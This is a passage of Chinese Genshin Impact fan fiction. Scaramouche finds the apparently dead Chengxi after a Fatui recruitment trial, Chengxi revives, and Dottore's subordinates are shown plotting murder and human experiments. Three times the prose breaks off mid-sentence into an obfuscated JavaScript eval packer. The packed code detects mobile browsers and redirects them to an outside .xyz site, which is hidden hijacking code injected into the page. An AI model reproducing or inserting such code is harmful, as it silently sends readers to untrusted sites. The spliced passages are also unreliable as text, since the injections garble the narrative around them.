她打开显示器,复盘了定位片的所有移动轨迹。从乘晞与她分别开始,贾妮丝分段检查了定位的移动速度、运动方向,发现有几次明显的停留。 最后一次停留的位置与初始轨迹重合,是她们讨伐过丘丘暴徒的那片山坡。 贾妮丝辨认好方向,将云雀放生,奔跑而去。 动用元素力加持,赶路的速度能够更快。 贾妮丝不久前用符文逼出过侵入伤口的深渊影响,按道理一天之内不能动用元素力量,否则会有后遗症反噬。但现在的她顾不得这些。 火红的神之眼亮起微光,贾妮丝几乎要跑出残影。 “执行官大人保佑,他可千万别出事啊……” * 乘晞最后遭遇了一只遗迹猎者。 不祥的红光将他锁定,乘晞展开面板的时候连脑仁都在疼,他不剩什么使用的余地了。 悬浮的机械居高临下,阴影笼罩过来。 浑身的毛孔都快要炸开,本能发出致命威胁的预警,想要逃离。 理智告诉他快点开传送,选个能逃出锁定状态的位置,拼着最后的精力脱离险境。 但乘晞将地图收起,在面板背包翻了几栏。 一枚混沌炉心出现在他手中。 眼晕腿软,乘晞几乎要站立不稳。 遗迹猎者困住了面前的人类。 乘晞与眩晕感对抗,用力的闭眼再睁眼。 遗迹猎者的机械臂幻化出尖刺,裁镶之刃疾射而出。 会死吗? 不会。反正他也死不了—— 乘晞眼中略过一抹狠色,站在原地未动。 任由尖利的长刺,深深扎入他的肩胛。 * 试炼在傍晚时分结束。 愚人众临时开辟的场地内,传送阵亮起,一位又一位身影从中浮现。 报名后被印在手背的那道魔法印记,能够感应参与者的状态,并在试炼结束后自动触发传送。这也是为什么参与者大多将战利品带在身上,以免脱手丢失。 贾妮丝从传送阵中起身,脸色冷得吓人。她逆着人群,朝反方向走去,被一位工作人员拦下。 “这位参与者,你走错路了,请去登记区域结算。” 现在,参加试炼的人员正都带着自己收集的掉落物前往结算区域,等待工作人员回收掉落物,根据种类和数目折算试炼成绩。紧邻着的是医疗点,治疗师们为试炼者提供全面的检查与疗愈。 “我不结算。”贾妮丝回答。 工作人员有些疑惑,“你在说什么,试炼成绩不想要了吗?” “我放弃。”贾妮丝冷冷打断。 工作人员满脸怪异的看着她离开。 贾妮丝守在传送阵旁,看着参与者接二连三的从中出现。 越往后,传送的频率就越稀疏。她辨认着每一张陌生的脸,直到传送阵缓缓熄灭,都没有找到乘晞的身影。 最糟糕的某种猜想,在此刻成了真。 贾妮丝参与过试炼的组织工作,自然清楚传送阵的运行规律。所有人都传送完毕之后,魔法阵会自动熄灭。 报名时烙印给参与者的魔法印记,可以和传送阵产生联系,而想要维持传送的发生,需要被传送者具有生命体征——换句话说,只有活到最后的人,才能触发自动传送。 在试炼过程中,如果参与者死亡,魔法印记就会自动切断联系。负责打扫战场的愚人众成员会进入秘境,将死者人工转移到秘境之外。 贾妮丝找到先前那名工作人员,语气急切,“秘境入口在哪里?” “这……”工作人员奇怪道,“你问这个做什么,现在试炼已经结束了。” 他以为对方对自身的成绩不满,“就算你还想击杀魔物,也为时已晚,不会再改变你的成绩了。” 贾妮丝几乎要揪对方的领子:“我是问你,出入口在哪里?” “愚人众内部事宜,对外保密。”工作人员道,“恕我不能够透露。” 贾妮丝气急,伸手从脸上拂过。 改变容貌的魔法消失,露出一张清秀的、但因怒气而显得冷若冰霜的脸。 ——不是珍妮丝又是谁。 她掏出属于自己的尉官徽记,拍到对方面前:“回答我的问题!” 工作人员看着那枚明显高于自己好多级的徽记:“长官,您稍安勿躁。” 对方的面容他并不认识,但隐约记得,似乎在某次愚人众颁发勋章的仪式中见过。工作人员艰难的吞了吞口水,“我这就带您过去。” 在珍妮丝的催促下,工作人员几乎是小跑着,一边看通讯器,一边带路。 珍妮丝自己的通讯器也响了。 她拿起一看,是来自散兵的一个问号。 珍妮丝清楚,试炼已经结束了好一会,按常理她早就应当向对方汇报情况。但偏偏出现了意外。 珍妮丝心如乱麻。她没有时间组织语言,点开对话框输入:[是属下失职。] [请大人再稍等一段时间,属下会给大人一个交待。] 没再等到对面散兵的回复,珍妮丝收起通讯器。 瞧见身旁的工作人员还在通讯器上敲敲打打,她不由催促对方快些带路。 工作人员对这种双标行为有些不满,但也不敢表露出来,一路将珍妮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504925|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝带到了场地之外。 绕过几重屏障,他进入另一侧的建筑,在一扇房门前停下脚步。 “入口传送点就设在这里。”工作人员犹豫道,“但我不负责这片区域的适宜,也没有权限——” 珍妮丝打断他的话,“你可以走了。” 门上封着元素力,珍妮丝抬手亮起火焰,准备直接破门。 “慢着。”一道声音从身后传来。 被打断的珍妮丝转过身,在看清来人是谁之后脸色更冷了:“你来做什么?” 来人肩上佩戴着与珍妮丝同等级别的徽记,“老朋友,许久不见,近来你可安好啊?” “没有时间和你叙旧。”珍妮丝冷漠道,“让开。” 来人受到冒犯,原本的腔调也懒于拿捏:“该让开的人是你。” “萨修斯,”珍妮丝召出长剑,“别碍事。” 萨修斯,直属于执行官第二席博士的高级研究员,与珍妮丝在同一年加入愚人众。二人早在当新兵的时候,就积怨深重。 他挥出水元素,挡下了珍妮丝的剑光。“你确定要在这里和我动手?” “虽然你遮得很严,但如果我没猜错的话,你受伤了吧。”萨修斯道,“你的状态似乎并不好,这逃不出我身为治疗师的眼睛。” 珍妮丝“呸”了一声,“治疗师?你也好意思。你更适合以刽子手的身份自居。” “不如你冷静下来,让我为你疗伤。我们二人好好谈谈,也把彼此的误会说开。” “我不需要你这双杀队友的脏手提供的治疗。滚开。” “脾气这么暴躁,你还真是和以前一样啊……” 珍妮丝不想再废话,直接动手。 对方的战力与她旗鼓相当,珍妮丝占不到优势。 萨修斯叹了口气,“来的路上我就收到消息,下属和我汇报,说有来路不明的人逼他带路去入口。” 珍妮丝刀一般的视线落向那位带路的工作人员,对方十分惧怕的向萨修斯身后躲去。 珍妮丝怒意更胜,剑锋火光暴涨。 就算打不退萨修斯,她也要从此处脱身。珍妮丝决定干脆毁掉这片区域,连同封印着门扉的元素印记一起。 萨修斯看出对方的意图,操纵着水元素淹过火舌,两种元素此消彼长。 “你一定要在这种时候拦我?” “我拦定了。” “听说你还用了易容魔法,以参与者的身份混进了试炼里。”萨修斯不怀好意道,“这是你的意思,还是散兵的意思?” 珍妮丝没有心情与之争辩,释放出更多的火元素力。 “看起来背后似乎有什么阴谋呢,你如果不解释清楚,届时博士大人过问起来,我也没有办法交待。” “无可奉告。” “对我下手这么狠,看来你是心虚。招新试炼由博士大人主持,散兵却派你潜入,不经告知擅自插手不归属他负责的愚人众要务。我觉得我有必要现在就告知博士大人。” “一派胡言!” 萨修斯要拿通讯器,珍妮丝坚决阻拦。 僵持之下,一道雷光扫过,将萨修斯的通讯器打落在地。 “什么人?” 来人不言,短短一瞬就判断清楚了僵持的情况。 堇色的发丝与眼眸,通身黑红的衣着,落在任何愚人众成员眼中,都不会陌生。 “大人……”珍妮丝收剑弯下腰。 “散——”萨修斯眉头一皱,但还没说出什么,就感到一股无名的窒息。他两眼一翻,原地晕了过去。 散兵收了回虚捏在半空中的手。 他周身的气压有些低:“怎么回事。” “乘晞可能……出现了意外。”珍妮丝深深低下头。 躲在角落的里工作人员见势不妙,想要跑路。散兵却如同背后长了眼睛那般,雷元素凭空闪现,将对方困在了原地。 工作人员想要呼救,下一秒就被同样的雷元素封住了嘴。 散兵并未施舍目光给不相关的人,只是看向珍妮丝,“人呢?” “属下与他失散了,直到现在也没能见他出来。”珍妮丝半跪在地,“是属下失职。” 见对方这反应,散兵明白多半是凶多吉少。 他垂在身侧的手指无意识捏紧:“你起来。” “去找。”散兵哑声道,“就算是……” 他没能将“尸体”二字说出口,“也要找回来。” 24.24 当时在秘境里,珍妮丝追着定位赶到山坡时,只看到地面留着的一摊血迹。她估算着出血量,心就已经凉了半截。 周围有深深浅浅的足迹,被飞雪遮盖得并不清晰。大概有几人路过此处,对这里的惨状避而远之。 珍妮丝蹲下辨认脚印,试图根据乘晞的身高推断出哪一行是对方所有,可惜现场被破坏得过于凌乱。她只能开启地毯式搜索,按照地上的出血量推断,伤者连移动都很困难,这段时间内走不了太远。 然而珍妮丝将附近的山坡找遍,也没有见到任何与乘晞相关的痕迹。期间还有几个不长眼的试炼者想要勒索,被她毫不留情的打退。 魔物的智力并不完备,如果乘晞当真是被魔物袭击,不会像这样凭空蒸发。如果他是被其他人挟持……珍妮丝太清楚那些人会做什么了。秘境里面临的危机不只是魔物,有时候同类比魔物更加危险。 直到试炼时间结束,被动触发传送、在原地消失的前一刻,珍妮丝都没有放弃过寻找,可惜始终毫无所获。 她催动元素力,正准备与入口传送点交互,却被散兵拦了下来。 散兵望向侧方的窗外。 “太可惜……”回廊中,有愚人众成员路过,“遗迹猎者……杀死……” 他们议论着什么,“最多的……可惜……排名……” 在通过试炼的参与者结算的同时,打扫秘境的工作也在进行。 秘境中一旦参与者的生命体征消失,印在他们掌背的魔法印记就会与外界断开联系。试炼结束后,工作人员对照着死亡名单,进入秘境重新催动魔法印记找人。 这些参与者永远的留在了试炼过程里,他们将亡者转移出去,等待家属前来认领。 选择参与试炼,生死自负便是默认。面对那些哀恸的哭声,工作人员早已激不起多少波澜。不过大多数丧命于此的参与者并没有亲人,几日后迟迟得不到认领的尸体会被统一入殓。 阵亡人员已经被运送出去多半,工作人员一一对照这些人的报名编号,为他们登记试炼成绩。这是愚人众能为这些人做的最后一件事。他们虽然生命于此结束,但同那些通过试炼的参与者一样,也有将姓名载入书册的权利。 看着公示而出的试炼排名,人群一片哗然。 为保护隐私,公开展示的排行榜并不书写姓名,而以数字编码代替。每位参与者都清楚自己的报名编号,能够精准找到自己所处的位置。 长长一列排行榜上,试炼成绩不断滚动。有的编号是正常的颜色,而有些编号是灰色的——意味着编号的主人已经牺牲。 而位于榜首的那行编码,赫然是暗沉的颜色。 “榜一死了?!” 疑惑者有,意外者有,恐惧者有,惋惜者有,幸灾乐祸者也有。 那些黯淡的编码大多沉底,在排行榜上取不到如何可观的名次。从后往前看,亮色编码中时不时夹杂一串暗色的,越往前暗色越稀疏。前三十几名颜色都是亮的,但唯有一道突兀的编号,高高悬于榜首。 “看那些掉落物……他究竟击败了多少遗迹守卫?” “这人这么能打,怎么还把自己搞死了……不知道该说他强大,还是说他愚蠢。” “这种成绩不只是有神之眼才能做到的,估计那人仗着自己的能耐托大,结果不小心玩脱了吧。” “不见得。你这话太低估神之眼持有者的力量了。” “排名靠前的不少大佬都组队,这位难道是个独狼?” “我倒觉得,那人不一定是被魔物杀死的。没准队伍里内讧,吃了别人的阴招呢。” “那样的话,下黑手的人没必要还把掉落物留给他吧?” “说不定是被魔物的深渊气息影响了。我有个队友就是这样,精神状态看着不太正常,好在我们共同阻止了他……” 散兵翻进回廊,走入不远处那间光线昏暗的房间。 附近的愚人众成员刚刚结束工作离开,没有人注意到他们。珍妮丝沉默的帮散兵推开门,又退到散兵身后。 这里的墙壁上凝结着人为输注的冰元素力,温度甚至比外界还要低。 地面上停放着尸体,阵亡者被放在简易担架上,身上盖着白布。 珍妮丝将屋内的灯光调亮。空气中的味道并不好闻,不过也没人在意这些。 光照亮起来后,视野变得更加清晰。数十具担架摆放的并不整齐,有些白布被内里透出的血污染了一片,恐怕掩盖的躯体并不完整。 珍妮丝从入口处开始,弯下腰掀起蒙着尸体的白布,再盖回去。她依次辨认着,生怕看见那张熟悉的脸。 至少没有亲眼所见,就还留存有最后的希望。 散兵在原地立了片刻,径直走向房间中央。 察觉到上司的动作,珍妮丝也跟了上去。 散兵在某具担架旁停住脚步,久久的沉默。 有一条手臂从担架上垂落,衣袖破烂不堪,几乎看不出原本不菲的用料。 多半小臂从白布之下露出,散兵看着那截细瘦的腕骨。 鱼际侧缘掌背交界的地方,拇指指骨末端凸起的骨节处,有一颗不起眼的小痣。 这颗痣的位置并不引人注意,散兵也不知道自己为什么就记住了。 或许是那日在篷车里,喷花筒洒出的彩带细碎,亮晶晶的太过晃眼,如银发少年眼中的笑。 他偏过头移开眼,避开对方的眼神,目光落在身侧对方的手指上。 于是就看见了。于是就记住了。 于是就认出了。 见散兵如同雕塑般立在原地,珍妮丝的心沉至谷底。 “大人?” 她试着唤了一声,但散兵没有回应。 唯有空气中无形的压力翻涌,几乎令珍妮丝直不起身。 她双手捏起白布的边沿,缓缓向下扯了一段,显露出尸体的面容。 珍妮丝捂住嘴。 银发少年安详的躺着,双眼轻闭,仿佛陷入了一场沉眠。 但脸侧的脏污、烧焦的发丝、脖颈的伤口,无不昭示着某种事实:对方即便沉眠,也绝非是在一场美梦中离去。 珍妮丝似乎想要说什么,可她嘴唇动了几次,也没能发出声音。 直到她的膝盖逐渐开始发麻,回廊隐约有了动静。似乎有人朝这边走来,伴随着啼哭声响,大概是某些前来收尸的家属。 珍妮丝不愿这边受到打扰,而散兵也终于开了口:“带他回去。” “是。” 驻地内。 几位黑衣人聚在一起,小声议论着什么。 愚人众各位执行官在城内有自己的居所,下属成员也有划分的驻地。散兵负责的事项往往与深渊相关,下属队伍中各个是作战的好手。听闻木偶常年住在研究院,博士的切片经常宿在实验所,而散兵除去公务几乎没有什么娱乐生活,下属们总能在驻地见到对方的身影。 尽管以第六席执行官的财力,能毫无难度的全款拿下都城黄金地段的独栋别墅,但散兵似乎并没有这方面的需求。他更喜安静,就连驻地的选址都定在毗邻城郊的位置。 早些时候,黑衣人们注意到附近有雷元素波动,扭头发现窗外有人掠过。 寻常在元素力加持下的赶路,远远达不到这种速度,遥望过去仿佛一道流光。 能将元素力操纵到如此程度的人,无人不清楚是谁。 看着顶头上司突兀的离开,几人面面相觑。 “每天这个时候,大人应当还在处理剩余的公务吧……” “好快的速度,应当是动用了邪眼。” “什么事情至于这么着急?” 等驻地附近再次有了元素波动,几人探头探脑。在看清楚散兵的身影后,他们立刻老实不动。 但散兵并没有注意到他们,或者注意到了也不想在意。 等散兵离开,黑衣人们看着他的背影,沉默许久。 他们都看见了那张蒙着白布的担架。 没有人不在战场上出生入死过,这样的场面他们不是第一次见。只是无论多少次见到,心头总会下意识变得沉重。 “跟在后面的……是珍妮丝吧?”有人试图活跃气氛。 “是啊。这家伙前些时候不是还炫耀,说大人给她派了什么特殊任务……”说到这里,气氛又重归死寂。 “我记得今天是招新试炼吧,”有人转移话题,“那个银灰头发的小家伙是不是参加了?也不知道结果怎么样。” 乘晞在与众人同行的时候就表示过自己要加入愚人众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509650|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这件事情大家都有所耳闻。 “试炼成绩已经出来了,今年的伤亡情况比去年严重一些,好在有免费提供治疗。”消息灵通的人道,“名列前茅的几位似乎都对队长大人那边的职位有兴趣,看来咱们是多不了新同事了。” “听说排行第一的人在秘境里身亡了,这真是前所未有的怪事。” 终于有知情者发话,“没猜错的话,珍妮丝原本是去找乘晞的。” 空气中顿时一阵窒息的沉默。 众人原本好奇是谁出事会如此惊动散兵大人,现在终于有了十分不妙的答案。 珍妮丝觉得散兵大概不愿被人打扰,在安置好乘晞后就退开,掩上了门。 她对上一众同僚关心的眼神,没有心情解释自己的经历,独自走向驻地的边缘,一个人在外墙角落蹲下,双手扶住了头。 房间内,白布从担架上缓缓滑落。 被遮掩的全貌终于现于人前。 银发少年浑身染血,落着星星点点的泥污、血渍、灰烬、凝固又融化的冰碴。 骨折、扭伤、挫伤、裂伤……从头到脚,几乎找不到一处完好的地方。 这家伙不久前还信誓旦旦,和他说自己要去报名招新,加入愚人众的。 就是这样去……搭进去自己的命吗? 明明这家伙跳下车,说不要离自己太近、但也不要太远,脚步生风,衣袂飘扬。 可那双轻盈落地的腿,伤口深可见骨。 明明这家伙将他带入人群,灵活得像一尾游鱼,他不远不近的缀在身后。 可那张隔着衣料能隐约透出蝴蝶骨的背,凝结的血痂与碎布黏在一起。 明明这家伙举着才恢复的手臂,得寸进尺的卖乖,让他帮自己解决缠住发丝的彩带。 可那只手臂以不自然的角度,垂挂累累伤痕缠于衣带之中。 明明这家伙仰起头,望向他的目光微微失神,好一会才重新找回焦距。 可那道白皙脖颈凝固着猩红的血色,进行过不怎么高明的包扎,布条在腾挪中变得散乱。 明明这家伙病没好全,就一本正经的和他保证,如果说了什么喜欢、请务必相信自己是真心。 可对方心口正中的位置,被锐器前后贯穿,只余破损模糊的血肉。 散兵缓慢上前,弯腰捉住乘晞垂落身侧的手。 他想将对方的手臂放回担架上去。 那只手指微微屈着,被冻得僵硬。指尖凝着血,掌心深深一道伤痕。 触手可及的温度冰凉,散兵几乎不敢再用力气。 上次的分别,是在二人城中心的不欢而散。他丢了狠话,留对方悻悻站在原地。 谁承想,那竟是最后一面。 散兵总是在经历分别。他永远在失去。 降生不久,被他的母亲、造物者丢弃,失去神明的垂照;踏鞴砂上,被当权者视作异类,失去流落途中结识的友人;灾厄蔓延时,被巫女许下兑现延迟的诺言,失去所有托付骐骥的同伴;背井离乡后,为凡人的寿数所限,失去相依为命的同类。 在点燃居所、踏出烈火的那一刻,他压下斗笠,就已经学会收起愿望、收起期待、收起所有不切实际的念想。 很多年后,遇见一个银色头发的家伙,从天而降一样出现在自己身边。他竖起警惕,竖起戒备,却也放任对方一步步踏入自己的领地。 但终究又是失去。像某种逃不出的命运诅咒。 盯对方指根处的那颗痣,散兵将对方的手扣入自己掌心。 仿佛凭借这样徒劳的动作,就能传递些许热意,逆转生命的流逝,让那只冰冷的手回温。 能不能……醒一醒。 这个家伙,很吵、很闹,爱说一些怪话,还总围着他转个不停。 散兵原本觉得他会嫌烦。 可见到对方了无生气的躯体、失去血色的面容,他却久违的有些想念那种吵闹……情愿这家伙能睁开眼,继续在自己身旁叽叽喳喳。 手中的指节抽动一下。 散兵险些以为自己出现了幻觉。 但触感真切。 散兵僵硬的低头看去。 那只冰冷的手似乎感受到了热源,想要靠近,向他的掌心探了探,轻轻回握住他的手。 25.25 试炼秘境出口连接的医疗区域,诊疗工作正如火如荼的进行着。 依据伤情的轻重分级不同,参与者们身上连接着不同的仪器,各项生命体征被如实记录。 治疗师为他们提供了基础的元素力治疗,随后派发了一些药剂。有外用的、内服的,还有输注血管之中的药液。 工作人员告诉他们,治疗需要一定周期,而在此期间,他们都需要暂住于临时搭建的治疗营地内。 经历过漫长的试炼,参与者们都很疲惫,闻言众人也很快接受下来。毕竟治疗免费,食宿免费,与他们而言,没有什么可以指摘的地方。 几个街区之外,实验所内。 灯火通明,研究员们的加班工作同样如火如荼。 愚人众抗击深渊,但也从未停止过对深渊的研究。提瓦特大陆经历过魔神战争后,深渊二字就成了某种不祥的存在,人们提到深渊,往往就会联想到灾厄、诅咒与伤亡。可深渊的内蕴危险而神秘,倘若寻找利用之法,或许能发挥出远超寻常的力量。 博士主导过许多与深渊相关的项目,其中一项早早制定出方案,却被搁浅了许多年。因为这项研究的进行,需要足够数量的体魄康健的人类作为样本。 无论是植物、动物、魔法生物还是人类,如有需要,博士都不介意将其作为研究对象。教令院曾痛斥他是“怪物”和“疯子”,但在博士看来,人体实验也不过是追求科学真谛的路上微不足道的必要牺牲。 病毒能够培养和转移,播种到人类身上寄宿,但深渊力量与之不同,危险而不可控,寻常的实验对象难以承受,得出的实验效果也不够理想。 今年恰逢愚人众纳新轮到博士主持,报名参与试炼者的身体素质普遍过硬,足够的人数也满足实验所需数量要求,他终于等来了开展实验的合适时机。秘境内的布置进行了特殊调整,最终的伤亡情况自然比往年更重些,但也为实验提供了足够的数据样本。 不久前,有两条消息传到博士的通讯器上:一是散兵闯入了治疗场所内的停尸房,而是一名疑似对方下属的愚人众成员通过伪装参与了试炼。博士简单看过后,重新处理起手上的事情。 他猜到散兵为何而来,不过散兵注定要失望了,毕竟那个人早已死在了秘境里。斯卡拉姆齐胆敢派人对他不敬,就该承受这样做的后果。 当然,这种小事无需博士亲自动手,自有下属安排好一切。他原本怀疑那位银发少年身上有什么不可告人的秘密,但从属下传回的讯息来看,不过是有隔空取物的能力而已,这样的空间魔法技能还吸引不起博士的兴趣。 试炼已经结束,那位下属也应该在回来的路上了。等对方向他汇报完毕,此事便彻底告一段落。 在散兵带人离开之后,那股禁锢着萨修斯的力量也消失了。 萨修斯从地上爬起来,摸了摸脖子,那股无形却强横的窒息感仿佛还留有残余。他心中暗恨,但清楚散兵身为执行官,拥有比肩神明的权柄,自己绝无可能与之抗衡。 不过,想到对方是来给人收尸的,萨修斯心中又多了几分微妙的快意。 执行官又如何呢,位高权重又如何呢,想找的人早就躺进太平间了。 角落处的那位士官还被困在雷元素绳索中,发不出声音,挣扎着频频向他投来求助的目光,萨修斯帮对方解了围。 那士官连声道谢,对他点头哈腰,萨修斯只是摆了摆手,就快步离开。 浅蓝色的元素力萦绕周身,萨修斯赶往研究所。在大门口,他遇见了金瑞拉,二人都是去找博士的,便一同往里面走。 “你的任务怎么样?” “把人解决了。” “没留下痕迹吧?” “当然。乘晞是遗迹猎者杀的,与我何干。” “控制装置呢?”萨修斯问。 金瑞拉从衣袋里掏出那个小部件,“在这。” 萨修斯拿过来捣鼓几下,拧眉问,“你怎么用了这么多?” 自己团队呕心沥血的研究成果,落到旁人手中却这般不被珍惜。 “情况所需,”金瑞拉耸耸肩,“我随机应变了。” 萨修斯怀疑的看着对方,“只是如此吗?” 金瑞拉的职级比他低,算是他的半个下属。虽然对方能力出众,但某些观念很是极端,他并不看好。 见上级追问,金瑞拉也没隐瞒,“那个乘晞身边还有其他人,想把那些无关人员支走,不调动足够的魔物怎么做到?” “早说了让你智取,等待合适的时机再下手。”萨修斯不满,“事情本来能做的滴水不漏,你却把魔物给搞发狂了,这么明显的怪异之处,多容易引人怀疑。” “长官大人,”金瑞拉阴阳怪气,“那些人都有神之眼,岂是随随便便就能糊弄过去的?况且某位还牛皮糖一样黏着乘晞组队,我上哪里找独处的时机去。” 萨修斯因对方的冒犯不满,但话里提到的某人字眼又令他忍不住联想,“你说的那位,不会是珍妮丝吧。” “珍妮丝是谁?”金瑞拉道,“那个牛皮糖叫贾妮丝。” 听到这个名字,萨修斯意味不明的冷笑一声。他转而换了话题,“那个乘晞如此受人关照,你确定他的特异之处只是空间技能而已?” “刀都切他脖子上了,”金瑞拉回答,“再有什么保命手段,也总该使出来了。” “好吧,”萨修斯也没反驳,他清楚这个下属有多么心狠手黑。 金瑞拉没有说的是,在乘晞戳破她身份的时候,她慌了神,急于将对方灭口,没有再加以其余试探。不过人都死了,这些也不重要了。 “其实在我看来,这场实验还是太温和。我们既然有控制的能力,为什么不将投放的剂量增强呢?”金瑞拉道,“就算试炼里死的人多一些又如何,这样好的样本条件不物尽其用,下次什么时候再有机会,恐怕又不知要等上多少年了。” “增强剂量,”萨修斯有些讥讽,“就不怕你自己也跟着死在试炼里?” “能为博士大人的研究做出贡献,”金瑞拉柔声道,“就算献出生命我也甘之如饴。” 萨修斯心中恶寒,暗道果然疯疯癫癫,只顾眼前利益,完全不考虑实验的周期和样本的存续。 他懒于说对方目光短浅,只道“难怪这么多年职级还是升不上去,你也该想想自己的原因。” 金瑞拉不再理他。 见到博士后,金瑞拉向对方简要汇报了情况。 过度使用控制装置的事情被萨修斯质问过,因此她在汇报中略过了这一点。同时又担心上司拆台,时不时将目光往对方站的位置扫。 博士将这些小动作尽收眼底,不过并未拆穿。 “暴露了没有?”他只问。 金瑞拉愣了一下,明白过来对方在问什么。她脑海中冷不防闪过利刃出鞘那一刻,银发少年唇角溢血的反问——“多托雷干的?” 金瑞拉迅速收敛心神。 “没有……”她回答,“当然没有,大人。” “是么。”博士似笑非笑。 无形中的危机悄然出现,将金瑞拉锁定。 “你在撒谎。” “大人,我真的没有暴露!”金瑞拉跌跪在地,“是乘晞自己猜出来的,属下什么都没有做错!” 萨修斯上前一步,扭住了她的手臂,把人从地上拎起来:“胆敢在执行官大人面前扯谎,你可真是不知死活。” 金瑞拉还想再辩解什么,但她惊恐的发现,自己不知道从什么时候开始,已经没有办法发出声音。 萨修斯将人带了出去,动作不容置疑。“为了避免泄露出不该说的东西,从今以后你就不用再说话了。你如此效忠大人,应该可以理解的吧?” 金瑞拉挣扎不得,面容扭曲的瞪着对方。 萨修斯将人往实验区带,“刚好我手底下有个项目,需要在具有神之眼的人身上做研究,现在还缺几例样本。你对我们的事业如此钟爱,应该也愿意为科学献身吧?” 金瑞拉鼻腔中发出惊恐的气音。 萨修斯善解人意道,“哦,你是问我怎么敢?我当然敢了。留你一命,已经是对你最大的仁慈。” “你最好祈祷乘晞真的死透了,并且没有在死前将任何消息传出去。否则的话,你这条命也留不得。” * 乘晞的思绪还停留在爆炸纷飞的烟火之中。 当时他使用面板消耗过度,力量几近透支,脑中只剩下一个执念——击败魔物、击败更多的魔物。仅剩的那次使用机会,他没有传送逃离,而是从背包又取了一枚混沌炉心。 面对遗迹猎者,乘晞几乎是用命去周旋。机械能在高空远程攻击,他想要出手,就必须与对方拉近距离。除了以自身为饵,乘晞没有其他更优的选择。他任由长刃刺入肩胛。 遗迹猎者击中猎物后,机械臂折回身前,乘晞才有机会靠近橙黄的核心之眼。他几次硬抗攻击,艰难炸掉手中的炉心。 乘晞最后的记忆是从空中坠落,寒风刺得眼皮又痛又重。 身下或许是树梢和积雪——失去意识前,他这样想。有这些阻拦勉强做缓冲,但愿自己别摔出个好歹。 手掌触碰到什么温暖的东西。 冻僵的乘晞下意识靠近,过了好一会,纷乱的思绪逐渐回落。 他缓缓睁开眼。 入目是浅色的天花板,正中央镶着一顶样式简约的灯。灯光应当调暗过,但对骤然见到光明的他而言,还是有些刺眼。 乘晞轻轻眯了下眼睛。 身侧有什么遮挡了些许光源,他偏头朝阴影中避去,看清楚那是一个人——一个自己并不陌生的人。 对方身上披着斗篷,不知道为什么领口的扣纽有些歪。 垂落的发尾微弯,轻轻搭在颧骨上,正低头与他对视。 虽然逆着光,那双眼睛却很亮,在某个瞬间闪过许多情绪,却又很快的收敛,令人来不及琢磨。 那人的手臂从斗篷里探出来,流畅的弧度隐没于袖袴,再往下是分明的腕骨,握住自己的手——等等,散兵握着自己的手? 乘晞险些被这个认知给击晕了。 他脑子里自动播放出什么恭喜两位心动嘉宾牵手成功之类的奇怪的BGM。 “这里是天堂吗?”乘晞晕乎乎的问。 散兵凉凉道:“是地狱。” 被对方抓住手指的时候,大概连散兵自己都未能察觉,那一刻他浑身上下都被定住了。 大脑短暂的停止思考,思维也跟着变得迟滞——太好了,这家伙没出事。 他又后知后觉的想,判断人类的生命体征的首选项,应当是查探颈动脉搏动和胸廓呼吸起伏。这分明是连新兵都会的基本知识,可在蒙着担架的白布下见到对方的脸的时候,他却忘得一干二净。 只因为发生在这家伙身上,他就自乱阵脚了。 真是莫名其妙。 但胸腔中积聚已久的,沉重的、紧绷着的、坠胀的感觉,都随着银发少年重获生机而烟消云散。 乘晞喃喃:“执子之手,与子偕行,共赴地狱……好浪漫……” 散兵:“…………” 他妥协的叹了口气。 才醒来就开始说胡话,果然还是熟悉的独属于这家伙的风格。 “你老实待着。” 散兵拿出通讯器,低头发了几条消息。 “散兵大人,”乘晞开始问正事,“试炼成绩是不是出来了?” 散兵从通讯器上抬起眼。 “从什么渠道可以看到排名吗,我想知道自己排在什么位置。” 这是乘晞十分关心的问题,他问完后还不小心呛到,咳了几声。 散兵盯着乘晞没说话。 从鬼门关头走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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床旁围了一整圈治疗师。乘晞初来乍到不了解,但黑衣人们十分清楚,几乎驻地内的所有治疗师都被召过来了,无论轮值还是休假、睡着还是醒着。 不久前,众人的通讯器收到消息,强提醒提示音和加粗的消息框,在夜色里闪瞎每一个人的眼——散兵动用了执行官权限发出通知,任务优先级高于一切。 治疗师们险些以为深渊大军打进来了,慌忙赶往指定地点。 到了之后没见到深渊的影,反而是他们大人站在那里,抱着手臂,大概在等他们来。 先到的人迅速整理衣着,感慨还好自己跑得快,后到的人见到散兵一惊,懊悔自己千万别给执行官大人留下懒散的坏印象。 那条消息没说任务,只让他们尽快过来。看着来的人越来越多,众人面面相觑,但也不敢问——散兵周身气压肉眼可见的低。他们大人心情不好的时候,周围往往有人也会遭殃,没有谁敢率先搭话。 况且这里是大人在驻地的住处。要知道,这属于散兵的私人区域,平日里他们根本就没有出入权限。 黑衣人们几乎要怀疑是不是误发消息。有老实人问了句“大人您定位有没有发错”,被散兵冷冰冰瞥了一眼,也没能得到回答。 